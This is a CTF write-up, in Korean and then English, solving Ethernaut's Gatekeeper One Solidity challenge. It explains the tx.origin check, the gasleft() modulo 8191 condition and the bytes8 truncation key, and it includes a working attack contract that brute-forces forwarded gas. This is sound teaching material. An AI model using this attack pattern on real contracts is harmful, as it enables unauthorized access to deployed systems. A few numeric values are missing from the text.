Ethernaut 13 Gatekeeper One
Ethernaut 13 Gatekeeper OneEthernaut 13 Gatekeeper OneEthernaut 13 Gatekeeper One 문제 풀이Ethernaut 13 Gatekeeper One writeup
Contents
문제
지문
Make it past the gatekeeper and register as an entrant to pass this level. Things that might help:
- Remember what you've learned from the Telephone and Token levels.
- You can learn more about the special function
gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}배경지식
msg.sender는 현재 함수를 직접 호출한 주소이고, tx.origin은 트랜잭션을 처음 시작한 EOA 주소다.
EOA가 컨트랙트 A를 호출하고, 컨트랙트 A가 컨트랙트 B를 호출한다고 하자. 컨트랙트 B 입장에서 msg.sender는 컨트랙트 A이고, tx.origin은 처음 트랜잭션을 보낸 EOA다. 중간에 공격 컨트랙트를 하나 끼워 넣으면 msg.sender != tx.origin 조건을 만족시킬 수 있다.
gasleft()는 현재 호출 스택 프레임에 남아 있는 gas 양을 반환한다.
이번 문제는 gasleft() % 8191 == 0을 요구한다. 문제는 enter 내부에서 gasleft()가 호출되기 전까지도 함수 호출 비용, calldata 처리, modifier 진입 비용 등이 소모된다는 점이다. 그래서 외부에서 넘긴 gas 값과 gateTwo에서 관찰되는 gas 값은 그대로 같지 않다.
정확한 오프셋을 계산해도 되지만, 조건이 modulo 하나뿐이라 부터 까지 gas를 바꿔가며 시도해도 된다. 그 범위 안에서 한 번은 나머지가 맞는다.
uintN을 더 작은 uintM으로 변환하면 하위 M비트만 남는다. 예를 들어 uint64 값을 uint32로 바꾸면 하위 32비트만 남고, uint16으로 바꾸면 하위 16비트만 남는다.
이번 문제의 bytes8 키는 uint64(_gateKey)로 숫자처럼 해석된 뒤 uint32, uint16으로 잘린다. 즉 gateThree는 8바이트 키의 상위/하위 바이트를 비교하는 문제다.
문제 코드 분석
gateOne은 다음과 같다.
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}enter를 EOA에서 직접 호출하면 msg.sender와 tx.origin이 둘 다 내 EOA가 되므로 실패한다.
공격 컨트랙트의 attack()을 호출하고, 그 안에서 GatekeeperOne.enter()를 호출하면 대상 컨트랙트 입장에서는 msg.sender가 공격 컨트랙트가 된다. tx.origin은 여전히 내 EOA이므로 gateOne을 통과한다.
gateTwo는 gas 조건이다.
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}gateTwo는 gasleft() 값이 의 배수인지 확인한다.
공격 컨트랙트에서 low-level call을 사용할 때 {gas: ...}로 대상 호출에 넘길 gas를 지정할 수 있다. 다만 gateTwo 시점까지 일정량의 gas가 이미 소모되므로, i + 8191 * 3처럼 충분한 기본 gas에 i를 더해 개의 나머지를 전부 훑는다.
마지막은 bytes8 키 조건이다.
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}키를 8바이트 값 0xHHHHHHHHMMMMLLLL 형태라고 하자.
첫 번째 조건은 uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))이다. 하위 4바이트와 하위 2바이트가 같아야 하므로 중간 2바이트 MMMM은 0000이어야 한다.
두 번째 조건은 uint32(uint64(_gateKey)) != uint64(_gateKey)이다. 하위 4바이트와 전체 8바이트가 달라야 하므로 상위 4바이트 HHHHHHHH는 00000000이 아니어야 한다.
세 번째 조건은 uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))이다. 키의 하위 4바이트가 0x0000 + tx.origin의 하위 2바이트와 같아야 한다.
내 tx.origin이 0x285ac9F8881D867556fCf6C16F26e3629F86C971이면 하위 2바이트는 0xC971이다. 따라서 키는 다음 형태가 된다.
0x????????0000C971여기서 ????????는 00000000만 아니면 된다. 그래서 0x100000000000C971을 사용할 수 있다.
풀이
gateOne은 공격 컨트랙트를 거쳐 호출해서 통과한다. gateTwo는 low-level call의 gas 값을 개 범위로 브루트포스한다. gateThree는 tx.origin의 하위 2바이트를 이용해 0x100000000000C971 형태의 bytes8 키를 만든다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
bytes8 gatekey = 0x100000000000C971;
address public target;
constructor(address _addr) {
target = _addr;
}
function attack() public {
for (uint i = 0; i < 8191; i++) {
(bool ok, ) = target.call{gas: i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)", gatekey));
if (ok) {
break;
}
}
}
}
Challenge
Description
Make it past the gatekeeper and register as an entrant to pass this level. Things that might help:
- Remember what you've learned from the Telephone and Token levels.
- You can learn more about the special function
gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}Background
msg.sender is the address that directly called the current function, while tx.origin is the EOA address that originally started the transaction.
Suppose an EOA calls contract A, and contract A calls contract B. From contract B's perspective, msg.sender is contract A and tx.origin is the EOA that first sent the transaction. By inserting an attacker contract in the middle, you can satisfy the msg.sender != tx.origin condition.
gasleft() returns the amount of gas remaining in the current call stack frame.
This challenge requires gasleft() % 8191 == 0. The catch is that, before gasleft() is called inside enter, gas is already consumed by the function call cost, calldata processing, modifier entry cost, and so on. So the gas value passed from outside and the gas value observed in gateTwo are not the same.
You could compute the exact offset, but since the only condition is a single modulo , you can also just try gas values from to . Somewhere in that range the remainder will match once.
Converting a uintN to a smaller uintM keeps only the lower M bits. For example, converting a uint64 value to uint32 keeps only the lower 32 bits, and converting it to uint16 keeps only the lower 16 bits.
In this challenge the bytes8 key is interpreted numerically as uint64(_gateKey) and then truncated to uint32 and uint16. In other words, gateThree compares the high and low bytes of an 8-byte key.
Code analysis
gateOne is below.
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}If you call enter directly from an EOA, both msg.sender and tx.origin become your EOA, so it fails.
If you call attack() on an attacker contract and call GatekeeperOne.enter() from inside it, then from the target contract's perspective msg.sender is the attacker contract. tx.origin is still your EOA, so gateOne passes.
gateTwo is a gas condition.
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}gateTwo checks whether gasleft() is a multiple of .
When using a low-level call from the attacker contract, you can specify the gas forwarded to the target call with {gas: ...}. Since a certain amount of gas has already been consumed by the time gateTwo runs, add a sufficient base amount like i + 8191 * 3 to i and sweep through all remainders.
The last part is the bytes8 key condition.
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}Think of the key as an 8-byte value of the form 0xHHHHHHHHMMMMLLLL.
The first condition is uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)). The lower 4 bytes must equal the lower 2 bytes, so the middle 2 bytes MMMM must be 0000.
The second condition is uint32(uint64(_gateKey)) != uint64(_gateKey). The lower 4 bytes must differ from the full 8 bytes, so the upper 4 bytes HHHHHHHH must not be 00000000.
The third condition is uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)). The lower 4 bytes of the key must equal 0x0000 + the lower 2 bytes of tx.origin.
If my tx.origin is 0x285ac9F8881D867556fCf6C16F26e3629F86C971, the lower 2 bytes are 0xC971. So the key takes the following form.
0x????????0000C971Here ???????? just needs to not be 00000000. So 0x100000000000C971 can be used.
Solution
gateOne is passed by calling through an attacker contract. gateTwo is handled by brute-forcing the gas value of the low-level call across the -wide range. gateThree uses the lower 2 bytes of tx.origin to build a bytes8 key of the form 0x100000000000C971.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
bytes8 gatekey = 0x100000000000C971;
address public target;
constructor(address _addr) {
target = _addr;
}
function attack() public {
for (uint i = 0; i < 8191; i++) {
(bool ok, ) = target.call{gas: i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)", gatekey));
if (ok) {
break;
}
}
}
}